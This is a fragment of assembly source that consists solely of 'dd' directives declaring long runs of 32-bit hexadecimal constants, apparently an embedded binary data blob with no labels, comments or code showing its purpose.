dd 851A1F3Fh, 84710073h, 44426001h, 0F448C9A4h, 8720001Ch
dd 0B1EA5369h, 50F948F6h, 0A3DE7400h, 3F687E88h, 589D360Eh
dd 538C001Dh, 2E43F7h, 0B3DC314Fh, 783B5989h, 65E00B1Ch
dd 64440447h, 58A61662h, 0BD2900E0h, 6F2EE10Ch, 5C00451Ch
dd 0F2729964h, 0F36DDC5Eh, 71F7470h, 11448E4Ch, 0F0FE6021h
dd 0C60002A9h, 0D3CE8663h, 0EE224E20h, 0C3430057h, 528A2C78h
dd 60BAA3FEh, 5CE7AF05h, 9CD0F20Ah, 0E82A25h, 0A1589299h
dd 0E2DB7A30h, 0FC05EC4Bh, 0F3802FEBh, 664F97h, 0FE5C8A99h
dd 1FB93BA0h, 95D5A00h, 0BF69C3C1h, 9707BDBh, 0A7D73037h
dd 41BE04E3h, 2BF77200h, 0A3C9E4C6h, 0EBB9A004h, 3DF9E4E8h
dd 1E8097C0h, 8D620AFFh, 249EB2A3h, 22F04400h, 5489DC1Fh
dd 0B8A58072h, 249F0004h, 6B28FCF7h, 2A007970h, 5203A841h
dd 949E93Bh, 90C39618h, 31360000h, 6D00B105h, 8BBB46CBh
dd 3C17CC4Fh, 2804E38h, 0E168E473h, 271691BCh, 691FBDA1h
dd 4029DC0Ch, 0A54B0648h, 7A94081Dh, 0AEB02C03h, 89C18820h
dd 0E0504EA9h, 0E4DE3883h, 8E2E059Ah, 48A3600Bh, 0D38F7060h
dd 925460A8h, 130917Eh, 0A4635FCFh, 683F8C9Fh, 15E43C2Ch
dd 0D8DCC1h, 77FB6307h, 2D2F3FF3h, 340094C8h, 0B00C7A6Dh
dd 1DC06000h, 0B6733449h, 0E298E0CDh, 0D75100D5h, 0EE84D903h
dd 0D8001C2Dh, 0F1C63B1Eh, 4E3CBF4h, 36CE2ED1h, 1D7A4013h
dd 1AF5C3h, 0D0A229F8h, 3C99A59Ch, 612B7F09h, 6FE0202Ah
dd 42E4A9h, 705D5794h, 6C2B332Fh, 8600DDF2h, 47F6F048h
dd 84BCE5h, 5ADA715Dh, 764EF4E4h, 32851503h, 0C08D277Dh
dd 198EDA8h, 65C4B62Dh, 303C6E58h, 36004849h, 790EAD27h
dd 2A63E759h, 0F4887BBDh, 0FAC400C5h, 6612AA4Dh, 0F003B649h
dd 0B0EA22F7h, 6A90A05Ch, 0A9730588h, 40414514h, 105626BCh
dd 87005169h, 0DE933F77h, 1FE72CF8h, 8384168Ah, 3EA16A26h
dd 0F6014B98h, 965870F0h, 8680104h, 0E5E9AA7Eh, 1500A838h
dd 26043B79h, 625B16EBh, 0CA838442h, 4F0848A4h, 0E5CD05FCh
dd 803E1AD4h, 2B1137D0h, 94A4831Eh, 0C781C0E4h, 0EB106914h
dd 18C91070h, 31046D05h, 0A84C5C81h, 8CD81E3Ch, 0E100F828h
dd 0B138BF4Ah, 8932EDh, 0F248CA0Ah, 0C3F56F0Bh, 0BDFFC500h
dd 0AE7219E4h, 0A8C9FE4Ah, 0B40C6DF0h, 0C899053Ch, 0A28C404Ch
dd 336CBAFh, 64E6D500h, 0B3F3BAD2h, 0F9A009A1h, 448F4496h
dd 5800F2EBh, 9B1D3CF0h, 18F4CF0Eh, 9C5839Ch, 8066C02Bh
dd 173A005Fh, 9B90AA9Eh, 0E098D68Eh, 6A5EF300h, 7AD9FEE0h
dd 1E851E67h, 0E38782B3h, 0A2E0F965h, 1500E22Eh, 0CDA0EFE6h
dd 3839B617h, 602A129Dh, 0C49B3DFCh, 9CCFAC0Bh, 0E3007445h
dd 594EE437h, 0A89840h, 0CD312C01h, 7CC5A2FAh, 5AD55B01h
dd 0F9AAFE99h, 0F364C084h, 0CA26C071h, 1F00BBD6h, 60D1961Ch
dd 7B5C7Ch, 33FD0467h, 458353F3h, 89888513h, 0C0E02CC2h
dd 48826974h, 0C51E6A1Eh, 910BC0EFh, 98FCECF2h, 9FCED80Eh
dd 7352E062h, 0A0B95B96h, 2396AA4h, 0E7DF8950h, 5840B525h
dd 0BCA4E5CFh, 45133300h, 44680A4h, 4CA5006Fh, 0BC71778Ah
dd 2F001B9Dh, 0DFEC24F8h, 0C7C83Fh, 0A9130E67h, 0E7FB61D0h
dd 0EE543D0Eh, 8CE8028h, 4B24A1Ch, 655B15F7h, 16E4C36Bh
dd 0BAE09F9Bh, 0D87FC727h, 9C302000h, 95F90576h, 2DFA1861h
dd 0DF98E883h, 9A00F6F4h, 9BF5CD92h, 27EBFB9Ch, 88390F1h
dd 5688E8EDh, 0FA00D6D8h, 0FDDE0CE0h, 6FD703CFh, 0F8830985h
dd 71987B34h, 6900E22Dh, 0B3BE287Ah, 32BAD0Ch, 0AC33E1Bh
dd 49B3CF7Dh, 2F027BB8h, 0C081931Dh, 6FE23140h, 1F1D855Bh
dd 0A4C52274h, 297E0064h, 93B97846h, 52182000h, 68FA723Eh
dd 51220415h, 90749497h, 0C09A7160h, 0D701E500h, 35FFE486h
dd 0F84773Ch, 902CE257h, 50C4765h, 0C03EC5FCh, 0F7D18DDh
dd 7F81F07h, 0E680F7DFh, 31BE36Fh, 978D8799h, 0B6B08676h
dd 5800EC3Ch, 8E7D3848h, 1E64C7Fh, 35E70429h, 0D0D316FFh
dd 6100EC0Eh, 42BC6333h, 1F9D8B69h, 0C0212D0Fh, 32C24FFDh
dd 510FDB67h, 2079053Ah, 9341A577h, 9FA71E40h, 9E8980EBh
dd 42CFE11Bh, 70B06303h, 0D5DA4115h, 5B3A9892h, 9CB3018Ch
dd 34BA493Fh, 9009AB28h, 19E4B1Bh, 5636B10Fh, 0DFBF9050h
dd 857332h, 0D4D00AC8h, 0FAE662FEh, 0E635204h, 58D0F98Ch
dd 0FF3897h, 1296E9EEh, 187CE0E6h, 9FF88600h, 0F08B60Bh
dd 41871F57h, 282067C9h, 0C69EC38h, 9A26AC00h, 0E1239BA4h
dd 0EEC70018h, 61FB4C55h, 0C4390D81h, 0CEE00916h, 4B0E01CDh
dd 1FEDFA67h, 3BECF8h, 0F903D061h, 70712034h, 0B652B00h
dd 0B9BD23D7h, 0B51A00C7h, 0AD33AF61h, 0FE0E366Ch, 0C04ED83Ch
dd 0A0CDF0Fh, 0DBCA00A2h, 82903F09h, 9400DA4Ch, 0EB275A84h
dd 271EAB1h, 6486049Eh, 9CA0FD4Dh, 0D5679B01h, 0C563DE00h
dd 1AB4A1A5h, 385DF8EAh, 50F9F428h, 12AFA44Bh, 99208680h
dd 0ECA3C984h, 0FC009D3Fh, 7945478Eh, 2669C242h, 60E0BCh
dd 0CCD74867h, 750A7384h, 0BC7DADA9h, 80AAF889h, 53A23660h
dd 409103B2h, 8A3AAD78h, 957B38F8h, 85412D04h, 490E717h
dd 21F789h, 60AFB1E9h, 0E21AEEA8h, 0B96D68C0h, 1DFCF5Bh
dd 0DD8E19C0h, 0A431F910h, 0F101E064h, 0FD6F4151h, 4007C68h
dd 0B56C038Dh, 0C0B261Ch, 0A27FC9B7h, 442E1440h, 405FC4h
dd 0F61A078h, 592EDE4Dh, 0DC8018A1h, 7C85897Eh, 68A90088h
dd 0A20811Fh, 0B0A8DF2Eh, 0BA257AE9h, 80D80094h, 0F6C9ED62h
dd 2025616Ch, 0D855E34Ch, 0BE004D75h, 4EE6E72Fh, 4540A3h
dd 2602A77Eh, 96D22D05h, 0C19E9900h, 9889B97Ah, 876A0034h
dd 5CF06263h, 5EE6D639h, 0FFF3B83Dh, 0F7D07600h, 47162933h
dd 5B7D0B97h, 1A820639h, 0AC0B1D8h, 2479E0BFh, 8EF2AD3Ch
dd 0A5784Dh, 30FE25D4h, 2261006Fh, 0B0A397EDh, 0B200D6C7h
dd 1B3E8D59h, 3F55A81h, 97610776h, 313C4655h, 0FC0681DBh
dd 0D5E92035h, 59AF0E60h, 0C0474F3h, 0D792BEECh, 0F72540D4h
dd 531391B5h, 4E0049F4h, 75C448D2h, 3AB90EEDh, 3F809C1Ah
dd 0F7A45113h, 8308116Fh, 90C35412h, 8B73D3h, 99A92FDCh
dd 48329868h, 3F09DF74h, 6880C025h, 503ED79Ch, 0F992C7h
dd 1A6808CAh, 0E3A08746h, 0BA196D03h, 0BA0385AEh, 9994600Ah
dd 6074025Ah, 0F2ACF830h, 2CCB1843h, 6823C92Eh, 8E566240h
dd 99460040h, 0D30A7395h, 0F0009C12h, 0C3286AB2h, 2493DA6Ch
dd 3E005E36h, 73AEB600h, 7BE6F77Ch, 7FEB0F0Fh, 1FC2E0B9h
dd 0F08E5D0h, 0F9A7681Dh, 11CC40FFh, 594C3D4Fh, 311DF47Dh
dd 330F3674h, 4DD80151h, 0BBFBD7A0h, 9A07E829h, 0C1200E44h
dd 0A9C08A5Dh, 6CBE0C9Bh, 7B3CB100h, 5954F297h, 68B60086h
dd 9ECF17FAh, 0C8021AF3h, 5E14CE9Fh, 1DC8FBCh, 0D3E7422Ch
dd 13498800h, 4A82F600h, 9C81F710h, 2E257416h, 672A50h
dd 0D4382D9Fh, 95389A48h, 0DADC8BF0h, 93AC09CCh, 0A880E5B0h
dd 281F89A6h, 10DC8A57h, 0B07DBD4Dh, 0EE3DD711h, 82D91C5Ch
dd 879C40F9h, 0F526C494h
dd 63744500h, 4D3E3FDEh, 85AD00B0h, 8C99FF73h, 51009DEDh
dd 0CD095019h, 986274h, 60E12463h, 0C9ECDC72h, 0AC4BC500h
dd 851A8FDEh, 54AE00C2h, 0F93D7948h, 52005B13h, 1056393Ch
dd 38B0715Ch, 628120CBh, 6EEB269Ah, 19EF3078h, 8033B200h
dd 1FA5F4DAh, 0F49D75A9h, 96200152h, 0C3848E54h, 1B38E045h
dd 4700C473h, 0F87AFAE2h, 0A9DED3h, 95E9160Bh, 9EB337FDh
dd 71D92300h, 0DBDC3883h, 7FFAB0D5h, 9EFF81Dh, 0DF74758Ah
dd 5FD77840h, 3998501Fh, 0B67AFE80h, 7CDB6Ch, 0C5F37716h
dd 0A82ED208h, 15E06F7Bh, 78A14601h, 5B8EB21Ch, 0F46C60h
dd 0BD953671h, 0DBFBD46Bh, 0B2B030E9h, 1BDFBB3Ch, 0E7115897h
dd 0E7B3A380h, 5E40A0A0h, 22833E91h, 242BD780h, 4317D4C7h
dd 0C80B3B07h, 0DFA487h, 1E2ABE0Eh, 356600FCh, 371F2EACh
dd 30C5271Ch, 281FE106h, 3CC76397h, 64048680h, 3FA9A0C0h
dd 0BEC3244Bh, 38169844h, 7A14251Ch, 90CCC48h, 0C3371A3Ch
dd 0DF0BE030h, 73A13AB7h, 520B629h, 0EC5204h, 65908DFBh
dd 8100362Ah, 0BC4CA05h, 0EE24539h, 7D42DA6Ah, 0DEA15C20h
dd 0EFC4BF6h, 72546B00h, 0CB577788h, 26A30080h, 619C60ADh
dd 0C933EB89h, 0F490C879h, 1F74A740h, 69131E02h, 96193438h
dd 2180A808h, 551F4C46h, 4100997Ah, 0EC361E69h, 5A150C5h
dd 0AA259C64h, 232C2FEDh, 957501BEh, 813E0551h, 0E5095939h
dd 0BD21B78Ch, 64F2C4h, 1231E24Ah, 82B61A0Dh, 1F70A067h
dd 7748759h, 1F65970h, 681DE6FAh, 15A4618Dh, 6C3FDCE6h
dd 0A800D4BEh, 0EBAC0A70h, 2898A7D7h, 8DBB4803h, 0F18715D9h
dd 0E064CA04h, 0EE2A03EBh, 0DF7BB3B0h, 92434A89h, 40C0C308h
dd 0FF1276h, 4D72071Ch, 5CF2B532h, 1A80EF60h, 0A1A8F868h
dd 6F187B2Ch, 0B323EE75h, 212F1843h, 0EE01170Bh, 63B96913h
dd 6CF056DAh, 0C41274A1h, 0ADDC58h, 8FF1C7B4h, 0EC4700F8h
dd 0EF06B66h, 3800F605h, 0E1A304FEh, 0FC079ADh, 3D1C2D47h
dd 67DE07F3h, 0B499050h, 0ED00E731h, 9A6180C3h, 0E20AA055h
dd 2FEE0074h, 8BCB4241h, 2638385Eh, 864B80A3h, 13B13294h
dd 8BF00FCh, 3955642Bh, 0C000F26Bh, 0C49CC16Eh, 0B8FB48Ch
dd 8928F791h, 61066980h, 0F003EAC5h, 5822748Eh, 1F8288D8h
dd 1C040059h, 0F873CF93h, 0F20032D1h, 63972ACCh, 1A634h
dd 92C39A74h, 0E3C2610Bh, 0FC0411D0h, 41356003h, 6192EE95h
dd 16BCA600h, 5C0D32CCh, 0EAED0034h, 0DDE08355h, 98008DE8h
dd 56B81162h, 2296B6h, 90DF196Eh, 78D42586h, 61004CFAh
dd 0C6474BD5h, 0FE167074h, 91AA0744h, 0B08FBE84h, 80948948h
dd 77C3EC00h, 27CE1CEh, 0F210675Eh, 9DD31C9h, 5C2880C7h
dd 0A90C74F8h, 23991CABh, 0BE81C03Dh, 30319D52h, 0A1775F00h
dd 93AC662Fh, 40C3B17h, 0DD18F880h, 0EA473A90h, 0A225103h
dd 8C59F7B9h, 0A6FE17C0h, 72A78E4h, 11163C49h, 677C9341h
dd 0D00B7DB0h, 7FD65A00h, 0E88AA3F0h, 0CB89Dh, 0BD1E3637h
dd 3A4FAE83h, 88032100h, 50B9025Fh, 8F770020h, 3684FA46h
dd 1AF894F4h, 0C5C2E400h, 9D823339h, 3F4D007Ch, 9C881B92h
dd 9100169Ah, 0D514B518h, 0C0732EA6h, 6E790F20h, 300D980h
dd 107D9B0Dh, 0F2DED6C5h, 8BF221h, 0E0C373FBh, 0BFE50895h
dd 6DAF1807h, 48F00EE1h, 0B8858E7Bh, 9EE8DDh, 4970FE8h
dd 4C6BE4BDh, 0FB013F77h, 1551ABAh, 20D454B8h, 890DCh
dd 9791AD14h, 0E7B5E6C1h, 2B0080D2h, 6BE25C2Fh, 25522458h
dd 69CE4020h, 6F003C9Fh, 772998FDh, 0B2CD2CBh, 86B0E0FCh
dd 79250200h, 135C288Fh, 66A207D4h, 0D1C052E3h, 7C4FEF7h
dd 6C8896F2h, 493350D4h, 970066C0h, 0EADFA38h, 0F5BC48h
dd 1E8CB370h, 10DD1FB9h, 0FC1C69E8h, 83C06C31h, 4779782Ah
dd 59F400A3h, 0C90995B3h, 0C5069E55h, 0E903EE98h, 0E21A06C8h
dd 9882BEE6h, 0F07CAF00h, 1D43F1B8h, 3B913F9Ch, 0CF81D8E1h
dd 3185DC5Eh, 30308975h, 0ADCB40E4h, 941A0307h, 9F437860h
dd 0D6A98EC0h, 0BA80D700h, 8B516E0h, 0A21A00C3h, 764DBC68h
dd 4302C62Fh, 90A99F82h, 9A00D59Dh, 0C52641B6h, 9503F3F4h
dd 0F27C0674h, 0F5680034h, 6979AB1Bh, 52155A8Dh, 2AB8BF80h
dd 0DC007CC5h, 10BC9D63h, 1F72288Ch, 0C07CEAFEh, 5C9FBB9h
dd 45EAF1A9h, 1855DF00h, 0C253D010h, 0A48300BEh, 44F62BAFh
dd 0D65F3891h, 82D283h, 0B840F518h, 0E97FABF8h, 854D6CFEh
dd 0F05818h, 0B78FC7F6h, 1DBC981Ah, 80A2F943h, 68D70846h
dd 140083E1h, 30327E48h, 277CE902h, 0E05D6BD9h, 0C0941911h
dd 0FD270DE8h, 581E04CFh, 4B81C7FAh, 5D52252Dh, 0B28FC0h
dd 47559D19h, 0F0FE3DDDh, 0A26C2100h, 0E76BC0D5h, 1D97CF3h
dd 86E82059h, 30417E1Dh, 760F64B1h, 4C03B6B8h, 93836h
dd 625C6BBBh, 4E05DA5Dh, 0E6AF1701h, 0F9ED7E94h, 6C2AF4h
dd 6DDB6EEFh, 7993D751h, 44E35901h, 6BA2507Fh, 331ABC40h
dd 5FAC0325h, 0B0E15E7h, 68144088h, 1E9C3E07h, 0ACD78EF5h
dd 907EB0E3h, 4483EBh, 9B8529F0h, 56BB7416h, 2BAB7D00h
dd 8AC2B466h, 7BCC0086h, 0EB4A9BCAh, 8C00A807h, 0DC1D3A08h
dd 0F3FCB7h, 3011A58Eh, 8F6AD227h, 0FDDED000h, 0FEE675F9h
dd 702C00C7h, 87693EDDh, 0FF004C25h, 8B0A374Eh, 0B87FF1h
dd 0D2FE8DAEh, 0C76ED379h, 3A4AE4A8h, 3498D11Fh, 92FC80F9h
dd 30BC6793h, 523D00A2h, 9027BF4Dh, 0C5009CF4h, 0C3A9472Ch
dd 244E263h, 6CD3E0D6h, 4DE0BDE4h, 401F1EAh, 509FBE75h
dd 0F8F4F7D4h, 16DB0096h, 0C890577h, 0E372DC0Dh, 7A4A9E0Ah
dd 4814A875h, 0CB990098h, 419C7F1Dh, 0CD290193h, 3F4F0E38h
dd 1EFEFC46h, 0CB272400h, 3E8949BAh, 0FC6404BFh, 80EEF304h
dd 2BA51220h, 0E5C25502h, 8025DB4Ch, 685DE794h, 2A9D3A1Ah
dd 9C708981h, 30BAC1CDh, 0FA1CA367h, 1FC0514Dh, 298460Ch
dd 0EE2C00BFh, 1BB5304Bh, 0F9FC1CF1h, 0D50A8201h, 8C9E4891h
dd 4FAD7F4h, 0BD73FDE7h, 6F7F83F3h, 0C07E1109h, 0CC00A0E2h
dd 0E91417h, 0C8B88B1Ah, 3EE80A64h, 0D100D57Ah, 0BC1E8554h
dd 393BE18Dh, 0AC87748Fh, 2361592Dh, 26900E4Eh, 7000D5ECh
dd 8E135686h, 71C088Fh, 4623EFADh, 19762040h, 0B026B57h
dd 0B1F8AAD9h, 801C63EDh, 87E954h, 9AEB7113h, 0FFEEF524h
dd 706A7C60h, 14BFB4Fh, 0CAB043Bh, 80B11F75h, 7CF62E18h
dd 241FFA8h, 30FEA59Bh, 0DFC02A46h, 0CC1EEB88h, 0E601F5C1h
dd 0F9D09207h, 5E0051BFh, 0FA906E83h, 3B009C38h, 0FDA01711h
dd 0A3712Eh, 70A10F61h, 0FAB13CF2h, 0ED038700h, 7DE78CFBh
dd 50852C34h, 0B70A0139h, 30E404EBh, 5900E05Bh, 45B5D763h
dd 77A188h, 224EA31Ch, 16E7EB7Dh, 2C4B4Dh, 62A1D553h, 0B8114FB9h
dd 0C6950430h, 0D0CD83E5h, 0A4D31D98h, 488BCC30h, 2C2120DFh
dd 201191h, 0FA92339Eh, 9C006E9Bh, 6A588BF3h, 0EF578A1h
dd 234EB4C6h, 19B0C19Ch, 0E83AE0A8h, 3007915h, 728802E1h
dd 12FFADEh, 0EB3645D3h, 7E3C042h, 3715E50h, 0ED0407B0h
dd 0D0B5E0B8h, 70254D63h, 0F500BCBAh, 0C966C78Bh, 806B28A6h
dd 0BC631F24h, 0E0716820h, 5D93CAh, 3DA3B2E2h, 34C8DF28h
dd 0CB006BE2h, 1F39F6EBh, 1029046h, 8BE61763h, 214507CFh
dd 95208075h, 0D7839FC9h, 4350C04Ch, 0D2D17024h, 5178626Ah
dd 2990BB02h
dd 0D45C6063h, 6DC20B12h, 0B400EE24h, 191C04B7h, 0EDE48014h
dd 0E30A7982h, 64274D65h, 7C45EB0Ah, 81BC4609h, 6D23A552h
dd 7CE54731h, 0F7D9F8h, 0F8FB38BAh, 0E6A7E16Ah, 0F33B3C1Fh
dd 80875200h, 791214FFh, 0F92C0EDBh, 0B40262Fh, 0D0130D5Bh
dd 0D4CC6F00h, 1F775491h, 70E67C1Ah, 64F6002Bh, 145BA7BAh
dd 28EEEF30h, 690C9600h, 77877645h, 904400B1h, 0FFD7DCF7h
dd 6A3CA862h, 411084F8h, 0BB8730A2h, 732008F0h, 947F2839h
dd 0FBF0789h, 51ABC95Eh, 0F424426Eh, 625036D7h, 0DB606487h
dd 8E0BE1F1h, 84230C54h, 0E9FED0F6h, 4AEBF40Ah, 2C809052h
dd 9F0E3ACCh, 206D0FCAh, 3FDF2Ah, 229A9D87h, 4C0EC73Dh
dd 0D64E27h, 1B58723Fh, 0CCF2007Eh, 0FC0C6326h, 6918B5C4h
dd 0D279C107h, 92100061h, 380F62D4h, 0D700EEC2h, 0A0BFA605h
dd 7861E66Ch, 34F91FB7h, 4A820096h, 0C0E9B9BDh, 809D7200h
dd 9C6D8BF2h, 0A847032Bh, 64F5D2DCh, 23E063FAh, 74002F43h
dd 0F29941ABh, 76CF4EDDh, 0F820B2F5h, 395F0037h, 230AC6A3h
dd 8500673Ah, 870D07F1h, 75297C47h, 13897BE1h, 0E398359h
dd 0D086826Bh, 0CF2E2086h, 0BE009856h, 53B8D99Ah, 2E3603E2h
dd 3F39EC03h, 87BD9980h, 5EEB8D1Eh, 9C474A70h, 0E4C8002Ah
dd 0A22E32A6h, 297441FCh, 7A214860h, 0F6C4C913h, 87100063h
dd 0BA8A8C3Ch, 0F307032Fh, 0FB897C56h, 0ACD85D10h, 0D57706C1h
dd 417DBD98h, 0FC8D8614h, 0C86F8238h, 29C441DBh, 20B03852h
dd 28C81079h, 99C1A900h, 0BDB2A0A3h, 0E0FEA9Ah, 87FC414Ch
dd 80EBBBA7h, 843A3036h, 0CB18C878h, 8610263Fh, 0E3914812h
dd 7FD96D00h, 0B6F9AB88h, 3C3810C0h, 3A7AE6h, 0E8DCFEF1h
dd 0D999399Fh, 1907F900h, 0EA5C2071h, 753C0074h, 541A2AC9h
dd 6300A647h, 4A5DDD6Ah, 0B8DAE3h, 0C2F53F28h, 0D7F3ACB6h
dd 344F403h, 8B335Fh, 5BEFE7A4h, 0F7A5EC47h, 79D41900h
dd 0F5830B95h, 0FCEA00CFh, 17B0CA23h, 400642Ah, 69AC1681h
dd 1367D1h, 9ACD8F44h, 0C22D3D6Dh, 1FCC0C07h, 4F106807h
dd 37B741h, 3519971h, 478B62AAh, 0CFE58h, 6AF96F66h, 126C50Bh
dd 0BEC3FABAh, 0E8D351EAh, 0BB0FDF61h, 83E577AEh, 78E66EC6h
dd 0C1621420h, 93A18E1h, 4C0B2E58h, 6480A158h, 0A6445F81h
dd 0C878E800h, 0B2A9E7B9h, 61462C66h, 0B7D300FAh, 9EFEEA38h
dd 534B4F00h, 82E1B078h, 14B153A0h, 0CFCD54C0h, 5F1D6670h
dd 0C5DD799Bh, 0EEE5EF00h, 0F8626D11h, 0D06B625Dh, 0F6867078h
dd 0DE07C1BFh, 97293994h, 0A9C77E43h, 1AD17123h, 1D632180h
dd 0D0E98F38h, 0BDD4A600h, 0A20DEA1Fh, 0C14200B6h, 477C6D10h
dd 60C56EA1h, 80188DD6h, 86BA8C68h, 2D399007h, 64D8F497h
dd 19674002h, 0FCD6523Bh, 219A39BAh, 0A591700Ch, 892EBE21h
dd 6C1AE4FAh, 877C4011h, 0D8EA02C9h, 90D2D3E6h, 21C02BF0h
dd 0A786AE2Eh, 0D1B800DCh, 0B387B534h, 0EC05600Eh, 0FBE9AB09h
dd 5665DC40h, 288E70B8h, 6F0BB3Fh, 4421BC39h, 0E50020C1h
dd 33ACC9E3h, 0EC3D259h, 0CC6240F9h, 1E1E88Ch, 55ACD600h
dd 0DE170D33h, 67F5309Bh, 46652089h, 9E011C07h, 3D207084h
dd 1EE9815Eh, 45B61369h, 808B36Eh, 0CAC01E3Ch, 215936ACh
dd 0AA91CC7Ah, 0ACD3040Eh, 9DEB9C60h, 0BCA05260h, 59281754h
dd 9B02C85Bh, 337640B0h, 7BF6E024h, 28FA57h, 79678C8Ah
dd 0F5E1A3F2h, 6740E00h, 0F9FAFC34h, 147102BDh, 24A53150h
dd 2CDFA560h, 0CE425B0Fh, 99BB0E67h, 0F0DC9810h, 68260329h
dd 80389C89h, 210B0830h, 1FF04F7Bh, 0E6FA58h, 0D129A2F9h
dd 3A3EA401h, 0CEB80790h, 0DE2623CCh, 9670230h, 77A70CC9h
dd 95F4A4E0h, 4B8B5F0Eh, 0B043802Eh, 0B75265Ch, 4CA52230h
dd 441CDD83h, 1C29823h, 2628F068h, 89711870h, 0E8F0F07Ah
dd 7291E200h, 49D699BEh, 2C90C143h, 0D4892106h, 461C8E1Ah
dd 4484C7F1h, 2B87AC69h, 6B0C6C0h, 305A6F18h, 86BDFB00h
dd 0FD009077h, 9F38A6ACh, 1366EAh, 0E030E2EBh, 5AD1C637h
dd 0C43F880Ch, 712694Fh, 0EBC7FAF1h, 98005F5Dh, 0ED976CDBh
dd 69D69A16h, 96570000h, 53370Dh, 99F8B9A3h, 0C3C1122Dh
dd 6EB8C8C0h, 0E36FED4h, 5DDF303Ah, 0A708692Ch, 533321C0h
dd 70728FFEh, 0E53D0F80h, 39E46A4Eh, 0B0CE0131h, 8C50A320h
dd 7AA615h, 3A91420Ch, 7828D7E9h, 0E725A200h, 68D5BCAh
dd 8C39C537h, 0F09BC715h, 0B1C25DA7h, 1A087F65h, 6C6D8C40h
dd 718B3F8h, 0CB06D755h, 0CCF61058h, 0DC60246Ah, 20D13DA1h
dd 0E381C7A0h, 11EA9006h, 2A01FB3Ah, 6A280EEFh, 3180C5FCh
dd 23B6AFF6h, 980162F9h, 0E6AE9305h, 406014E4h, 0D3380096h
dd 4FE72003h, 7F30E55Bh, 9B2FB12Dh, 9E960063h, 3A37A5CBh
dd 0E526E7C6h, 9117ACBDh, 6CCFB11h, 0AFA1C35Bh, 74D23708h
dd 91AAC041h, 1F12E3F6h, 3C05859Eh, 0A406DD57h, 53A13EC3h
dd 0CEE04CEh, 10A2C649h, 0C0177D20h, 0B1BB4018h, 1500BE52h
dd 0EC93427Eh, 3A9D44h, 84202EB5h, 405A3FC4h, 2992F832h
dd 0B0C02072h, 0AB05BD25h, 27C11946h, 0C0A8CD82h, 0DEE4CBh
dd 859D0771h, 0A3A51CD2h, 996BFB00h, 51E2EED8h, 184B26DBh
dd 163202D7h, 0BF800435h, 0A1BEDC39h, 0D0C30F00h, 23C85A8Eh
dd 9D471C20h, 4E2D43C0h, 0A2F80E5Eh, 0F03F690h, 7F79F231h
dd 58DDA055h, 8D85074Ch, 209F7A66h, 0C492B653h, 9885113h
dd 3FCC8903h, 4D17B05Ch, 0CF56000Ah, 0E9A68DCh, 0B734275h
dd 0C54B5D00h, 8BB7AB37h, 6DDE007Dh, 7688C816h, 0D53A7089h
dd 5598080h, 0D2869531h, 0FB7D0232h, 0BC6E5BA3h, 0F035AF40h
dd 20E0A700h, 0F9A63E1Ah, 0C518009Ch, 348B94B8h, 0A2787DF3h
dd 5C330901h, 0AC8E4190h, 2A8040BFh, 7E6494A0h, 0E900AEABh
dd 692FAF1Bh, 423929h, 0A6014E3Dh, 3551E307h, 1F00E8FEh
dd 37EF3FC6h, 7D2A7E93h, 163E7BF7h, 0ECD84DFh, 0AEE0A26Dh
dd 8E240D54h, 9C2D4103h, 0A0F826F3h, 0C6718Ch, 8207E2Ah
dd 0B90485A5h, 0E001490h, 72323D43h, 322535Eh, 0E06A5B7Ah
dd 81CCB618h, 30364724h, 2354251Ch, 0EF0092D4h, 1F8640ADh
dd 0AE8963h, 78DB95F3h, 2E9610C3h, 0C13AFE00h, 347D185Dh
dd 0DC246061h, 98507673h, 58A949h, 88D029Bh, 7DEDB59Dh
dd 39CA02CBh, 0FE48683Eh, 0CFDFBB01h, 3F9D0F4h, 6F81A7A4h
dd 2DC0A582h, 0D200D827h, 1C477F5Fh, 7C256BDh, 0DD64A03Fh
dd 0B83933B6h, 0BFD58CC0h, 2E72C00h, 743A046Dh, 802A6080h
dd 0F304B6Fh, 0A028DF6Eh, 429E0CB9h, 7EEFF820h, 28F1C7F8h
dd 24C80060h, 9371D57Fh, 0C983040Fh, 80DC347Dh, 0DC3F86D6h
dd 52A6034Eh, 9BCD857Ch, 0FF97D12Ch, 9545FB00h, 364F0EDh
dd 0EE43C04Fh, 35DF81DEh, 8EA49705h, 0AB405E60h, 0D20189E3h
dd 0C4FB26D0h, 9BE4CA49h, 0FAFD00DAh, 0ADDB269h, 86532590h
dd 7CCA00B0h, 79E0D76h, 646EEA6Dh, 0E65988h, 0C017AEA0h
dd 8CD9C103h, 8195DF9Dh, 1E0B861h, 0BC40BF41h, 0D9FA6Bh
dd 99027562h, 7B95134Fh, 2DE4737Ch, 6C7639h, 0AC3AB398h
dd 42A31Fh, 39E3FC1h, 729D4832h, 9081F629h, 0CC343980h
dd 0C07C71B2h, 26E81860h, 0FC24B120h, 1EE260C6h, 9C68686Ch
dd 885CA0B9h, 437A3121h, 0DC2E7168h, 0FC30A512h, 0AA835073h
dd 0E79E051Bh, 0C70A3B7Ah, 0C61C0A1h, 97001934h, 562B31F0h
dd 7B4D284h
dd 42B781C1h, 2D92123Eh, 0DA44504Eh, 0C050991Ch, 0E3A8DFA4h
dd 0F714350Ch, 24889045h, 9C53D2h, 0CFF7DB7h, 5C0DAB38h
dd 72F775A1h, 6E9C98FAh, 0CCE1D077h, 2BF0075h, 1E941213h
dd 7C002C58h, 46786536h, 3F7AFAEh, 41966DE1h, 8800AAB6h
dd 8452263h, 29B575h, 0F21DCBBFh, 0C4AF6B32h, 0B8E2C098h
dd 0D0FBFC75h, 7F544DE4h, 0E17609Ch, 4E01EFE8h, 1752517Ah
dd 60CECh, 0F25C803Bh, 4B62C574h, 0B871A700h, 0F109C4F7h
dd 18184D4Ah, 0C529EB22h, 96928034h, 0A85D00EEh, 0D0040FBCh
dd 0B02158h, 304249D4h, 0D5B191h, 0EA5BBB16h, 0C13FFCA9h
dd 8B1FDF00h, 0C7AF6A8Ch, 0D2D71D86h, 4273012Bh, 0F4A069CAh
dd 0B008663Bh, 13BA3D8Ch, 865830ADh, 6099F25h, 20A6A7C0h
dd 48BDC92Ch, 2749336h, 35099F62h, 0A700446Eh, 636EF3B1h
dd 0F8562E91h, 0DB4C00E7h, 0AEC9AFDAh, 0D1492693h, 5044016Ch
dd 6D6CA43Ah, 30BDE0h, 5FF1459h, 0C570833Dh, 0F3483CB0h
dd 955E00A4h, 7166BF2Ch, 0A1B40056h, 9C226DDBh, 2E013F5Dh
dd 0ADF68C8Fh, 90EB83AFh, 436FE6h, 0A338C011h, 7F4A16CAh
dd 736DFD00h, 0FC338D29h, 922E0FF7h, 0F2E0B63Bh, 0D6828F0Dh
dd 291E3CF2h, 3F87BBDDh, 0DA802798h, 384276h, 0BF7D44A0h
